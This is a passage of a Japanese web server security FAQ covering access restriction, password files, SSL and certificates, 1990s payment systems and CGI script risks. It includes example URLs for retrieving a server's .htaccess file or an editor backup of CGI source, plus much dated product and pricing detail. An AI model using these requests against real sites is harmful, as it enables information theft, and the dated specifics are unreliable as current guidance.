ひとつ注意すべき点は、プロキシサーバが文書を取ってくるようブラウザで設定されていて、 サーバが本当のユーザの IP アドレスではなく、そのプロキシの IP アドレスのみを知っている場合です。 つまり、プロキシが認可されたドメインにあれば、誰もがそのプロキシを使用してあなたのサイトにアクセスできるということです。 独自の制限ができる特定のプロキシでない限り、認可されたアドレスのリストにはプロキシ (またはプロキシサーバを含むドメイン) の IP アドレスは加えないでください。

ホスト名またはドメイン名での制限は IP アドレスでの制限と同じ危険があります。しかし、 さらに、「DNSのなりすまし」の危険にもさらされます。これはあなたのサーバを一時的に騙して、 認可されたホストネームが異なった IP アドレスに属していると認識させてしまうものです。 リスクを軽減するために、サーバの中にはそれぞれのクライアントに対して DNS 照合を特別にするものもあります。サーバは入ってきた要求の IP アドレスをホストネームに翻訳した後、 DNS を使ってそのホストネームを IP アドレスに再び翻訳します。 もしその 2 つが合致しなければ、アクセスは許可されません。NCSA の httpd でこの方法を使うには、 以下を参照してください。


Q19: ユーザ名とパスワードでの制限はどのくらい安全ですか?

ユーザ名とパスワードでの制限にも問題があります。パスワードは、注意深く選ばれている場合のみ有効ですが、 ユーザは往々にして、ミドルネームや誕生日、会社の電話番号、可愛がっているペットの金魚の名前など、 見え透いたパスワードを選びます。これらのパスワードは推測しやすく、WWW サーバは UNIX のログインプログラムと違って何度も推測を誤っても何も咎めません。 意図的なクラッカーはパスワードを推測するプログラムを使えば、強引に侵入することがすることが可能となります。 また、リモートユーザ同士でユーザ名とパスワードを共有している場合も注意すべきです。 IP アドレスの制限とパスワードの制限はどちらかを個別に使うよりも組み合わせて使う方が安全です。

もうひとつの問題は、パスワードはブラウザからサーバへと送信されている際の傍受に無防備だということです。 パスワードは有効な方法では暗号化されていないので、適切なハードウェアとソフトウェアを持ったクラッカーはパスワードを送信している間にインターネットからこれを盗むことができます。 さらに、一度しかパスワードがインターネットでやりとりされないログイン時のセッションと違い、ブラウザは保護された文書を取ってくる度にパスワードを送ります。 送信されたデータがインターネットを通る際にクラッカーが傍受するのを簡単にしてしまうのです。 これを防ぐために、データは暗号化しておかなくてはなりません。以下を参照してください。

サーバホストシステム上のローカルユーザに対しても文書を保護する必要がある場合は、 "nobody" 以外でサーバを実行し、制限された文書とサーバスクリプトの両方に、公開できないように許可を設定してください。 Q9を参照してください。


Q20: ユーザ認証とは何ですか?

ユーザ認証はリモートユーザの ID を判定し、確認するシステムです。ユーザ名とパスワードはユーザ認証の簡単な形式です。 公開鍵暗号方式のシステムは、後に記しますが、偽造不可能な電子署名を使用して、 より高度な形式の認証を提供します。

Q21: リモートブラウザの IP アドレスまたはドメイン名から文書へのアクセスはどのように制限するのですか?

詳細についてはサーバによって異なりますので、ご自分のサーバのマニュアルを参照してください。 NCSA の httpd を基にしたサーバでは、.conf にアクセスするためには以下のように、 ディレクトリを制御する部分を加える必要があります。
   <Directory /full/path/to/directory>
<Limit GET POST> order mutual-failure deny from all allow from 192.198.2 .zoo.org allow from 18.157.0.5 stoat.outback.au </Limit> </Directory>
このようにすると、指示されたホスト (18.157.0.5、stoat.outback.au)、サブネット (182.198.2)、 ドメイン (.zoo.org) 以外のアクセスを拒否します。指定は数字の IP アドレスでもホストネームでも行うことができますが、 数字を使った方が破壊される可能性が低く安全です。 (Q18参照)

ドメイン名による制限の安全性を増すひとつの方法は、サーバが DNS の照合の結果を必ず二重にチェックするようにしておくことです。 この機能は NCSA の httpd (および関連のある Apache サーバ) で Makefile 内に -DMAXIMUM_DNS フラグを必ずセットしておくことで可能になります。

CERN サーバでは、Protection 指令でプロテクション・スキーマを宣言し、Protect 指令を使ってそれをローカルのURLと関連させる必要があります。 指定したドメインだけにアクセスを制限する httpd.conf へのエントリは、以下のようになります。

   Protection LOCAL-USERS {
GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5) }
Protect /relative/path/to/directory/* LOCAL-USERS

Q22: 新しいパスワードとユーザを加える方法は?

UNIX ベースのサーバは UNIX ファイルと同じような名前のパスワードやグループファイルを使用します。 これらのファイルのフォーマットは、WebサーバにUNIX バージョンを使用しても無理のない程似通っていますが、 それは止めた方が良いでしょう。 Web パスワードを推測したクラッカーにUNIX ホストへのログインの無条件許可を与えたくはないはずです。

新しいユーザを加える方法についての明確な詳細については、サーバのマニュアルで確認してください。 NCSA httpd では、サーバソフトウェアに添付の htpasswd プログラムを使用してパスワードファイルに新しいユーザを加えることができます。

   htpasswd /path/to/password/file username

htpasswd は次にパスワードを使用するよう指示します。初めに htpasswd を呼び出すときは、 最初からパスワードファイルを作成するように - c フラグをつけなくてはなりません。

CERN サーバには htadm と呼ばれる少し異なったプログラムが付いています。

   htadm -adduser /path/to/password/file username

htadm は次にパスワードを使用するよう指示します。

認可されたユーザの登録がすべて終わったら、ディレクトリを選択してパスワード保護をつけることができます。 NCSA の httpd とこれをベースとしたものには、access.confに以下のような追加を行ってください。

   <Directory /full/path/to/protected/directory>

     AuthName          name.of.your.server
     AuthType          Basic
     AuthUserFile      /usr/local/etc/httpd/conf/passwd
     <Limit GET POST>
       require valid-user
     </Limit>

</Directory>
AuthUserFile は、パスワードファイルへのフルパスと取り替える必要があります。 このタイプの保護方法は、前の章でも説明したように IP アドレスによる制限と組み合わせることができます。 詳細については、NCSA のオンラインマニュアル (http://hoohoo.ncsa.uiuc.edu/)、 または著者の作品 (How to Set Up and Maintain a Web Site) を参照してください。

CERN サーバについては、httpd.conf に対応したエントリは以下のようになります。

   Protection AUTHORIZED-USERS {
     AuthType     Basic
     ServerID     name.of.your.server
     PasswordFile /usr/local/etc/httpd/conf/passwd
     GetMask      All
}
Protect /relative/path/to/directory/* AUTHORIZED-USERS
この場合も同様に、詳細についてはマニュアルや著者の作品を参照してください。

Q23: オンラインでパスワードの変更ができる CGI スクリプトはありますか?

いくつかありますが、私が使っているのは user_manage という自分で書いた Perl のスクリプトです。これは、Apache、 NCSA httpd、CERN、Netscape UNIX サーバや恐らく他のUNIX ベースのサーバで使用されるパスワードとグループファイルと連動します。 ユーザは、安全に自分のパスワードを変更することができ、Web の管理者は新しいユーザを加えたり、 グループを動かしたり、既存のユーザの特権を変更したりすることができます。このスクリプトは以下で入手できます。
http://stein.cshl.org/~lstein/user_manage/
Bill Jones 氏は WebPass と呼ばれる汎用のスクリプトを書きました。ユーザは Web のパスワードを変更できるだけでなく、 POP、ログインやニュースのパスワードなどを持っている場合これらも変更することができます。 これはPerl と Expect の組み合わせで可能となったもので、以下で見つけることができます。
http://web.fccj.org/~wcjones/WebPass.html
商用 Web サーバにもいくつかリモートユーザ管理用のスクリプトがあります。詳細についてはサーバのマニュアルを参照してください。

Q24: ディレクトリへのアクセスを制限に、ディレクトリごとのアクセスコントロールファイルを使用するととても便利です。なぜ access.conf を使うべきなのですか?

中央に置かれたコンフィギュレーションファイルにディレクトリのアクセス制限指令を出す代わりに、 多くのサーバはアクセスを制限したいディレクトリに「隠し」ファイルを作ることによりアクセスを制御できるようにします (このファイルはNCSA 系のサーバでは ".htaccess"、CERN サーバでは ".www_acl" と呼ばれます) 。 これらのファイルは、中央のアクセスコントロールファイルを編集せずにディレクトリへの制限を調整できるので非常に便利です。 しかし、.htaccess ファイルをあまり信頼してしまうと、いくつか問題が出てきます。 1 つは、アクセスコントロールファイルが文書階層全体に散らばってしまい、サイトのアクセス方針がはっきりと設定された中心となる場所がなくなってしまうこと、 もう 1つは、このようなファイルは迂闊に変更されたり上書きされたりしやすく、 ドキュメントツリーの一部を公開してしまう可能性があること、そして最後に多くのサーバ (NCSA サーバを含む) にはアクセスコントロールファイルを下記のような URL で他のファイルと同様に取ってくることができてしまうバグがあるということです。
   http://your.site.com/protected/directory/.htaccess
これは、サーバのパスワードファイルを含むシステムの重要な情報を外部に知らせてしまうので非常に都合の悪いバグです。

ディレクトリごとのアクセスファイルのもうひとつの問題は、サーバのソフトウェアを変更する必要がある場合です。 非常に多くの小さなファイルを検索し、修正していくよりも、 たった 1 つ、中央のアクセスコントロールファイルを更新する方がはるかに簡単でしょう。


Q25: 暗号はどのように作用するのですか?

暗号は、鍵でメッセージのテキストを符号化することによって作用します。従来の暗号システムでは、 暗号化と復号化に同じ鍵が使用されていました。新しい公開鍵システム、すなわち非対称の暗号化システムでは、 鍵はペアになっています。 1 つは暗号化に、もう 1つは復号化に使用します。このシステムでは、誰もが独自の鍵のペアを持ちます。 1 つは公開鍵と呼ばれて一般に配布され、メッセージを暗号化する際に使用します。もう 1 つは秘密鍵と呼ばれて非公開とされ、 入ってきたメッセージを復号化するのに使用されます。このシステムでは、ある人がもう一方の人にメッセージを送りたい場合、 相手の公開鍵で暗号化します。そのメッセージは、非公開である秘密鍵の所有者だけしか復号化できないので、 傍受される心配がありません。このシステムを使用して、偽造できない電子署名を作ることもできます。

安全なインターネットの暗号化を実際に実装しているケースのほとんどは、 従来の対称の仕組みと新しい非対称の仕組みを組み合わせたものです。公開鍵暗号方式は、 後で実際のデータの暗号化に使用する対象方式の秘密鍵を取り決めるために使います。

商業活動では、安全な Web 上の送信を深刻に必要としているので、ブラウザ - サーバ間を送信されるデータの暗号化の仕組みを開発することには非常に高い興味を示しています。

公開鍵暗号方式については Bruce Schneier 著の "Applied Cryptography" を参照してください。


Q26: SSL、SHTTP、Shen とは何ですか?

これらはすべて、Web 上の暗号化とユーザ認証のために提案された標準です。それぞれ、 相性の良いブラウザとサーバを正しく組み合わないと動作しないので、どれも安全なデータ送信の問題の全面的な解決にはなりません。

SSL (Secure Socket Layer) は Netscape Communications Corporationによって提案された仕組みです。 これは、HTTP や NNTP、FTPのような高レベルのプロトコルでのトランザクションを暗号化する低レベルの仕組みです。 SSL プロトコルは、サーバ認証(サーバの ID をクライアントに証明する)、送信中のデータの暗号化、 そして任意のクライアント認証(クライアントの ID をサーバに証明する) などの機能を持っています。 SSLは現在、Netscape Navigator、 Secure Mosaic、Microsoft Internet Explorer などのいくつかのブラウザや、Netscape、Microsoft、IBM、Quarterdeck、OpenMarket、O'Reilly and Associates などの多くのサーバ製品に実装されています。SSLの詳細については、以下を参照してください。

http://home.netscape.com/products/security/ssl/index.html

SHTTP (Secure HTTP) は、商業用に使用するインターネットの開発を目的とした企業提携団体 CommerceNet によって提案された仕組みです。これは、HTTP のプロトコルによってのみ動作する高レベルのプロトコルですが、 SSL よりも拡張性の高いものです。 SHTTP は最近、サーバでは Open Market, Inc が市場に出したOpen Marketplace Server に導入されており、クライアントでは Enterprise Integration Technologies の Secure HTTP Mosaic に導入されています。 詳細については、以下を参照してください。

http://www.eit.com/creations/s-http/

Shenは CERN の Phillip Hallam-Baker 氏によって提案された仕組みです。SHTTPのように、 既存の HTTP のプロトコルの高レベルな代用品です。2年前に提案されたにもかかわらず、 ブラウザやサーバのベンダでこれを導入しているところはありません。さらに、Shen を説明した URL はもう使用不可になっているので、どの点から見ても消滅しかけているといえるでしょう。


Q27: 安全な「フリーウェア」のサーバはありますか?

SSLeayと呼ばれる、SSL を実装するためのフリーウェアがあります。 これはCをソースとしたコードで、Telnet や FTP といったアプリケーションとリンクさせることができます。 無償配布可能なUNIX の Web サーバのApache や NCSA httpd、また Mosaic を含む UNIX ベースの Web ブラウザのいくつかでこれをサポートしています。米国以外では、商用アプリケーションに対しても無償アプリケーションに対しても無料で使用できますが、 アメリカ国内では、商用アプリケーションに SSL を使用するには RSAData Securityにライセンス料を支払う必要があります (購入代金にライセンスが含まれる Apache の商用バージョンの SSL を入手する方が簡単かもしれません) 。

このソフトウェアにはいくつかのコンポーネントがあります。 SSL ベースのサーバを実行するに はすべてを入手し、インストールする必要があります。

The SSLeay FAQ
http://www.psy.uq.oz.au/~ftp/Crypto/. これをよくお読みください。
SSLeay
SSL のライブラリ本体です。 FTP 経由で以下で入手できます。ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/
様々なインターネット アプリケーション用のパッチ
これらは、telnet、 ftp、 Mosaic などが SSL を利用するためのソースコードです。 FTP 経 由で以下で入手できます。 ftp://ftp.psy.uq.oz.au/pub/Crypto/SSLapps/.
Apache サーバ用パッチ
現在、Apache 0.8.14h と 1.0.1a 用のパッチがあります。パッチは他のバージョンでも動作 すると思われますが、保証はできません。 ftp://ftp.ox.ac.uk/pub/crypto/SSL/
Apache サーバ ソース コード
http://www.apache.org
Apache-SSL のあらかじめコンパイルされたバージョンは、2つのソースから入手できます。 米国内では C2Net Software, Inc. のStrongholdを、 アメリカ以外の国からは、http://stronghold.ukweb.com/ でStrongholdを入手できます。このバージョンの Apache は、 非営利組織や教育機関用のディスカウントが利用できます。

SSL の使用できるサーバをインストールした後、認証機関から「サーバ証明書」を入手する必要があります。 サーバ証明書は多くの会社で取ることができますが、それぞれ少しずつ手順や料金の規定が違います。 アメリカでは、VeriSign Corporation が初めての、そして今でももっとも広く利用されている認証機関です。 しかし最近、料金を値上げしたので (商用サーバ証明書は 495 ドル)、VeriSign は最も高い会社のひとつとなってしまいました。 VeriSign の代わりにお勧めできるのは Thawte Consulting です。ここは料金がかなり安く、アメリカ国外の組織の申請での問題が非常に少ない会社です。 その他の証明組織には、以下のようなものがあります。

Entrust
http://www.entrust.com/
GTE CyberTrust
http://www.cybertrust.gte.com/
EuroSign
http://eurosign.com
COST
http://www.cost.se
BiNARY SuRGEONS
http://www.surgeons.co.za/certificate.html
Keywitness
http://www.keywitness.ca
SoftForum
http://www.softforum.co.kr/
CompuSource
http://www.compusource.co.za/
認証機関からサーバ証明書を入手する前に、その証明書はサポートしたいブラウザに認識されるか必ず確認してください。 VeriSign と Thawte は Netscape とMicrosoft の最近のブラウザでは認識されます。 他は認識されないものもあるようです。 ブラウザに認められた証明書のリストを見るには、Netscape Navigator で [オプション] -> [セキュリティの設定] -> [サイト証明書] を選択するか、Internet Explorer で [ツール] -> [インターネットオプション] -> [セキュリティ] -> [サイト] を選択してください。Netscape Communicator では、[セキュリティ] ボタンでこの情報を見ることができます。

サーバ証明書の入手手順は認証機関によって少しずつ違いますが、基本的な概要は同じです。 認証機関を選んだら、その会社のWeb サイトに接続してサーバ証明書申請のセクションを見つけてください。 そこから自分のサーバのソフトウェアに適した申請用紙を探し、 記入します。 その後、あなたの Web サイトのドメイン名、会社名、連絡先を聞かれます。また、 組織の身元を証明するため、Dun and Bradstreet の番号や企業定款、大学の場合は会計からの公証済み文書などの提出を求められます。 また、クレジットカードの番号など、支払情報も聞かれるでしょう。

申請用紙の記入までが手順の半分で、この他に電子認証リクエストも作成する必要があります。 認証機関に申請用紙を提出後、サーバのソフトウェアに付いているプログラムを使用して公開 / 秘密鍵を作成します。 Apache-SSL では、このプログラムは genkey と呼ばれています。

鍵のペアを作成すると、鍵作成ソフトウェアは鍵リクエストを含むファイルを作成します。 このファイルは認証機関に自動的にメール送信される場合もありますが、それ以外は手動で送るよう、 ソフトウェアから指示されます。どちらの場合も、認証機関があなたのリクエストが有効であると承認するまでに数日〜数週間かかります。 最後に、返信の電子メールでサインされた証明書を受取ります。サインされた証明書を自分のサーバにインストールして、 その手順は完了します。詳細についてはサーバごとに違います。Apache-SSL では、 使用するプログラムは getca と呼ばれます。

この時点で、ユーザは傍受される心配なくサーバから文書を取り出したり、 フォームを送信したりすることができます。サーバ証明書はあなたのサーバの ID の証明をリモートユーザに与えます。


Q28: サーバアクセスのコントロールに個人証明書は使用できますか?

SSLを使用して、ユーザの ID をサーバに証明することもできます。これは一般的なパスワードを基本とした証明の仕組みよりも信頼できるものです。 このシステムを利用するには、認証機関から、「個人証明書」を取得しなくてはなりません。

あまり高価でない個人証明書は VeriSign から入手することができます。VeriSignは 2種類の証明書を提供しています。クラス 1 の証明は、 年にたった 9.95 ドルしかかかりませんが、ユーザが提出した申請用紙の情報を何も確認しないので、 本当にそのユーザが本人だという保証はしてくれません。せいぜい、そのユーザは申請されたアドレスでメールを受け取ることができる、 ということを証明する程度です。クラス 2 の証明書は、年に19.95 ドルで、もっと高度な保証を提供します。 そのような証明を取得するためには、ユーザは信用調査機関に正当であると確認された個人情報を用意する必要があります。

Iイントラネットを運用している場合は、 組織の従業員のきめ細やかなアクセスコントロールのために自分で個人証明書を発行したいと望むかもしれません。 これには、認証サーバをインストールする必要があります。認証サーバは、 MicrosoftNetscapeXCertEntrustGTE から出されています。

アクセスコントロールのために個人証明書を使用するには、サーバが特別に構成されている必要があります。その設定の仕組みはこの文書の範囲外ですが、詳しい指示は Web Security: A Step-by-Step Reference Guide という著者の本を参照してください。


Q29: Web 上でのクレジットカードを使ったオーダーはどのように受ければ良いでしょうか?

「フリーダイヤルの番号に電話してください」とお客に言うのがいいのでは?いや、まじめな話、 暗号サーバ / ブラウザの組み合わせでない限りは、リモートユーザにクレジットカードの番号をフォームに記入して送信させるべきではないのです。 クレジットカードプロキシシステムのひとつを使用する方法もありますが、 これについては次項で説明します。

暗号サーバを使っていても、サーバが受信した後でクレジットカード番号に何が起こるか、 注意する必要があります。たとえば、その番号がサーバスクリプトで受信された場合、 誰でも読めるログファイルに書き出したり、リモートサイトに電子メールで送ったりしないよう、 気をつけてください。


Q30:CyberCash、SET、OpenMarket とは何ですか?

これらはすべて、Web 上でクレジットカード番号やその他の機密情報を危険にさらすことなく商業的な取引を進めるために開発された仕組みです。

CyberCash

CyberCash はCyberCash Corporationの製品で、インターネットを介して安全な支払いを提供するために、 業者側と顧客側で特別なソフトウェアを使用します。 CyberCash はクレジットカードと電子小切手の両方に対応しています。クレジットカードサービスではオンラインショップやインターネットの請求システムが、 物やサービスへの支払をクレジットカードで受けることが可能で、"PayNow" サービスではインターネットの請求システムがインターネット上で提出された電子小切手を受け取ることが可能となります。 顧客や企業が CyberCash で支払をするには、業者から与えられたSSL対応フォームでクレジットカードまたは当座預金の情報を提出します。 また InstaBuyWalletを使ってもっと簡単に買い物を可能にする方法もあります。 InstaBuyは、ユーザのクレジットカード情報(電子小切手には未対応) を InstaBuy サーバに 128 ビットの暗号化された形で保存します。

CyberCash に登録された業者から買い物をするとき、ユーザは従来の支払フォームに記入し、 SSL を介して送信します。あるいは、業者がInstaBuy にも対応している場合は、InstaBuy アイコンをクリックして Wallet を設定、または使用します。 CyberCash の業者は CyberCash の新しいサービスである InstaBuy を実装するかどうか選択できます。支払情報は、業者の Web サーバに送られ、そこで取引をまとめて金融機関とリンクしている CyberCash Gateway サーバに送ります。CyberCash はその名前から連想されるものとは対照的に、実際はバックエンドの支払システムで、 ユーザからは見えない、業者側の使用する支払処理方法なのです。

CyberCash の利点は、支払情報を送信するときに、トリプルDES 暗号を使用しているということです。 また、支払は一切 CyberCash で処理されるので、業者はデータベースや固定メモリにクレジットカードや当座預金の情報を記録する必要がありません。 このことにより、業者のコンピュータシステムへの侵入者に財務情報を盗まれる危険性が少なくなります。 すべてのセキュリティの問題は、CyberCash の責任になるのです。

業者が支払を受け取るには、まず金融機関にクレジットカードの業者用口座を開設します。 米国内の 95% 以上の金融機関は、CyberCash 対応です。業者用口座を開く手数料は、それぞれ地域の銀行が設定するので、 様々です。典型的なケースでは、口座を作る際に約 100 ドルかかり、口座を維持するのに月々 15 ドルかかります。 また、取引ごとに、売買金額の 2〜 3% が取引手数料としてかかります。金融機関から請求される手数料に加えて、 CyberCash側から業者に対しては、一回限りのサービス開設手数料 (500 ドル 〜 1,000 ドル) と、 サービス・アクセス手数料 (通常 40 〜 80 ドル) と 取引量に応じた手数料 (通常1取引ごとに 0.2 〜 0.6 ドル) など月々のサービス手数料が課金される予定です。

業者用の銀行口座を開設したら、業者は "Merchant Connection Kit" (MCK) と呼ばれるソフトウェアを Web サーバ上にインストールします。このソフトウェアは、ユーザがショッピングカートのスクリプト (またはそれに相当するもの) で「支払」ボタンを押すと起動し、 取引を CyberCash サーバ上の "CashRegister" に送ります。 MCK は無料でダウンロードでき、 Windows NT や UNIX を含む多くのプラットフォームで使用できます。 必要なハードディスク容量はわずか 100 k バイトで、オンラインストアの支払を扱うための、 暗号化や通信用のライブラリ、HTML テンプレート、CGI スクリプトなどが含まれています。

MCK の仕事は取引の実行に責任のあるCyberCash Gateway サーバに支払情報を送信することです。 これらの支払サーバは、取引がインターネット上のものではなく、通常の店頭販売のようにみえる方法で金融機関と通信します。

また CyberCash は管理部門の仕事、たとえば、取引に関する問い合わせ、日々の取引の集計、 また返品された品物の払い戻しなどの役割を果たす、"Administrative Interface" も提供しています。

CyberCash の主な利点は、すべて機能の揃った外部管理の支払処理システムを業者に提供するということです。 業者は、業者用の口座を開設し、MCK を構成するだけで始められます。 欠点としては、財務情報がひとつのサーバ (CyberCash) にあまりに集中してしまうことと、 それに伴うCyberCash サーバの性能やスループットの特徴への依存の危険性があげられます。 さらに、クレジットカード取引手数料が業者に請求されるので、 1 ゲームごとに支払うオンラインのビデオゲームのような小さな買い物には、CyberCashは非実用的です。

CyberCash の詳細な情報は、http://www.cybercash.com で入手できます。

SET

SETプロトコル(Secure Electronic Transaction protocol) は、Netscape、Microsoft、 Visacard とMastercardが合同で作った、インターネット上でのクレジットカード取引の処理をするためのオープンな標準です。 SETの主な意義は、相互運用性です。この標準に準拠していれば、 ベンダが異なってもソフトウェア同士を連携させることができます。

インターネット上の詐欺に対応するため、SET 標準は、取引の関係者すべてのIDを保証する複雑な保証機関システムを使用しています。 顧客、業者、カード発行者、業者の銀行はすべてサインされた、 偽造できない証明書で保証されています。プライバシーの問題に対応するため、 取引は、次のように分けられています。業者は何を購入したか、代金はいくらか、 支払は承認されたかの情報にはアクセスできますが、顧客の支払方法についての情報はありません。 おなじく、カード発行者は購入金額にはアクセスできますが購入品の種類に関する情報はありません。 しかしこうした手段にも関わらず、SET は消費者に完全な匿名性を提供するものとはなっていません。

SET は顧客側と業者側の両方に特別なソフトウェアを必要とします。 SET 対応のサイトで安全な SET 処理を利用してカードで買い物をしたい場合は、SET の業者または金融機関から取得した、 SET に対応した財布を持っていなくてはなりません。 なかには、カードを使用しようとするユーザにSET 証明書の所持を求める業者もあります。 消費者にとってのSET の主な利点はディジタルの証明書によって保証された安全と、 理論上 SET 対応のサイトではどこでも同じ財布が使用できるということです。

SET のオンライン事業者になりたい業者は、SET 対応の業者用サーバ製品を構築するか購入する必要があります。 SET の Web サイトでは業者用サーバアプリケーションの購入とインストールについての情報を持った、 Vendor Status Matrixを提供しています。それから、業者は金融機関に連絡をして電子証明書を取得する必要があります。

Microsoft の Site Server Commerce Edition は、Microsoft Site Serverの上位版であり、Site Server自体は Internet Information Server の上位版です。Site Server Commerce Editionは SET を使ってリアルタイムでの信用証明に対応しています。また、コンテンツの公開、コンテンツの検索、 複数の形式でのコンテンツの送信など、Site Server のすべての機能を含んでいます。 Site Server Commerce に関する詳細情報は、以下で入手できます。 http://www.microsoft.com/siteserver/commerce/default.htm

一方、Netscape Corporation と Sun Microsystems が共同で設立したiPlanet.com は、カタログや注文の管理、 会員へのサービスや支払サービスを提供するMerchantXPert を出しています。 Netscapeの初期の電子商取引業者用サーバ製品のLivePaymentは完全な SET 対応の方向へ動いていましたが、 合併後の新しい製品は SET 対応ではなく、その方向へ向かうようには見えません。

SET に関する詳細情報は、Secure Electronic Transaction LLC のサイトを参照してください。現行の SET の仕様管理の責任を負っている組織です。

Open Market Web Commerce System

Open Market, Inc. もまた、オンライン商取引システムを提供しています。 Open Market の機構では、エンド・ツー・エンドの電子商取引ソリューションを作り上げるために、 バックエンドの取引システムをフロントエンドのカタログと繋ぐことができます。 Transact と呼ばれるバックエンドシステムは、納品処理、請求や支払サービスへの接続など、 取引の核心となる部分を提供します。 フロントエンドシステムのLiveCommerceは、製品カタログの保存、 操作、表示を行います。Open Marketの価格は、こうした機能は主として大容量のカタログを提示したり、 複数の独立した電子商取引の店を設立したりすることを望んでいる大手の会社、銀行、 サービスプロバイダ向けであるという事実を反映しています。詳細については、 http://www.openmarket.com. を参照してください。

6. CGI (サーバ) スクリプト

Q31: CGI スクリプトにはどのような問題があるのですか?

CGI スクリプトの問題は、スクリプトが1つ増えるごとに新たなバグが増える可能性があるということです。 CGI スクリプトはインターネットサーバと同じくらい注意を払って作成されるべきです。 なぜなら CGI スクリプトは実際、サーバの縮小された形だからです。 残念なことに、多くの Web ページ作成者にとって、初めてのネットワークプログラミングが CGI スクリプトとなっています。

CGI スクリプトがセキュリティホールとなるケースは、以下の2つです。

  1. 意図的に、または意図せずに、クラッカーが侵入しやすくなるようなホストシステムの情報を漏らす。
  2. リモートユーザの入力処理をするスクリプト、たとえばある形式のコンテンツや "searchable index" コマンドは、リモートユーザが不正にコマンドを実行するのに利用されやすい。

CGI スクリプトは、"nobody" でサーバを実行してもセキュリティホールになる可能性があります。 破壊された CGI スクリプトは、"nobody" で実行されていても、システムのパスワードファイルをメール送信したり、 ネットワーク情報マップを調べたり、大きな番号のポートでログインセッションを起動したりできます (これを遂行するには、Perl でいくつかコマンドを実行するだけです)。 サーバが chroot で実行されていても、バグのあるCGIスクリプトはホストを危険にさらすに十分なシステムの情報を漏らしてしまう可能性があるのです。


Q32: スクリプトは cgi-bin のディレクトリに格納しておくのと、ドキュメントツリーのどこかに格納し、.cgi の拡張子をつけてサーバと結びつけておくのとどちらが良いでしょうか?

CGI スクリプトがドキュメントツリーに散在していても本来は危険はありませんが、cgi- bin のディレクトリにまとめて格納しておいた方が良いでしょう。 CGI スクリプトは大きなセキュリティホールを持っている可能性があるので、中央に保管しておけば、 複数のディレクトリに散在しているよりもはるかに簡単にどのようなスクリプトがシステムにインストールされているか常に把握できます。 特に、複数の Web ページ作成者がいる環境では役に立ちます。 作成者の一人が不注意にもバグのある CGI スクリプトを作ってしまい、ドキュメントツリーのどこかにそれをインストールしてしまうという事態は、 あっという間に発生します。CGI スクリプトを cgi-bin のディレクトリに制限し、Webの管理者のみが CGI スクリプトをインストールできるようにしておけば、大混乱を避けることができます。

また、クラッカーがドキュメントツリーに .cgi ファイルを作り、 URL をリクエストしてそれを実行してしまうという危険性もあります。 厳重にアクセスをコントロールされた cgi-bin のディレクトリで、この危険性を減らすことができます。


Q33: C のようなコンパイルされた言語は Perl や shell のスクリプトのような解釈された言語よりも安全ですか?

そのとおりですが、補足説明があるので以下に示します。

まず第一に、スクリプトのソースコードへのリモートユーザのアクセスについての問題があります。 クラッカーにスクリプトの働きに関しての知識があればあるほど、利用できるバグを見つけやすくなります。 C のようなコンパイルされた言語で書かれたスクリプトでは、それをバイナリ形式に埋め込んでcgi-bin/ に置いておけば、 ソースコードにアクセスされる心配はありません。しかし、解釈されたスクリプトでは、ソースコードはいつも、 潜在的に使用可能な状態にあります。正確に構成されたサーバなら実行可能なスクリプトにソースコードを戻すということはありませんが、 抜け道は他にもたくさんあります。

次の仮説を想定してください。便利なので、あなたはCGI スクリプトを cgi の拡張子をつけてサーバと結びつけておくことにしました。後で、 解釈された CGI スクリプトに小さな変更をする必要があり、あなたはスクリプトを Emacs テキストエディタで開いて変更を加えました。 不運なことに、その編集によってドキュメントツリーのなかにスクリプトのソースコードのバックアップコピーが残ります。 リモートユーザはスクリプト自体を取ってもソースコードの入手はできませんが、以下の URL を行き当たりばったりにリクエストすれば、 バックアップコピーを入手することができます。

        http://your-site/a/path/your_script.cgi~

(CGI スクリプトを cgi-bin に限定し、その cgi-bin は必ずドキュメントルートから離しておくもう一つの理由がこれです。)

もちろん、C で書かれているCGI スクリプトのソースコードが Web 上で自由に使用できることも多く、 その場合はクラッカーのソースコードを盗む能力は問題ではありません。

コンパイルされたコードが解釈されたコードよりも安全なもうひとつの理由は、サイズと複雑さの問題です。 Shell や Perlのような大きなソフトウェアには、バグがある可能性があります。 バグのうちのいくつかは、セキュリティホールかもしれません。そこにあるのに、私達が気づいていないだけなのです。

三番目に考えるべき点は、スクリプト言語は非常に簡単にシステムコマンドにデータを送り、 その出力物を得ることを可能にしてしまう、ということです。下記に説明するように、 スクリプト内からのシステムコマンドの呼び出しは潜在的なセキュリティホールのひとつです。 C では、システムコマンドを呼び出すには手間がかかるので、プログラマはあまり好みません。 特に、完全に危険な構造を避けられる程複雑な Shell スクリプトを作成するのは非常に困難です。 取るに足らないCGIプログラムの場合を除いて、Shellスクリプト言語を使用するのはいい選択肢とは言えません。

これまで話をしてきましたが、私はコンパイルされた言語が安全だと保証しているわけではないことを理解しておいてください。 C で書かれたプログラムも、NCSA httpd 1.3 とsendmail がネット上で起こしたように、 悪用されるバグをたくさん持っている可能性があります。解釈されたスクリプトには問題もありますが、 スクリプトが短いので作成者以外の人にも理解しやすいという利点もあります。 さらに、Perl には潜在的なセキュリティホールを見つけるよう設計されたいくつかの機能が組み込まれています。 たとえば、taintチェック (下記参照) は CGI スクリプトの一般的な落とし穴を見つけることができたりするので、 同等の C のプログラムよりもいくつかの点においてはPerl の方が安全かもしれません。


Q34: Web で素晴らしい CGI スクリプトを見つけたのでインストールしたいのですが、安全かどうか、どのようにして見分けられますか?

そのスクリプトが完全に安全であるかはわかりません。一番良いのは、そのスクリプトをよく調べて、何を、 どのような仕組みで行っているか理解することです。もしあなたがスクリプトに書かれている言語がわからない場合は、 わかる人に見てもらいましょう。

スクリプトを調べるときに考慮する点は以下のとおりです。

  1. どのくらい複雑か。長ければ長いほど、問題のある可能性は高くなります。
  2. ホストシステム上で、ファイルの読み込み/書き込みを行うか。 ファイルを読み込むためのプログラムはアクセス制限を不注意に侵害するかもしれませんし、 クラッカーに重要なシステムの情報を渡してしまうかもしれません。 ファイルに書き込みを行うプログラムは、文書を変更してしまったり、傷つけてしまったりする可能性があり、 また最悪の場合、システムにトロイの木馬を入れてしまうかもしれません。
  3. システム上で、他のプログラムと相互に作用するか。たとえば、多くの CGI スクリプトは、 sendmail プログラムと連携し、送られてきたフォームに呼応して電子メールを送ります。 そのスクリプトはこれを安全な方法で行っていますか?
  4. suid (set-user-id) 特権で実行するスクリプトか。一般的にこれは非常に危険なことで、 絶対にこれが要るという理由が必要です。
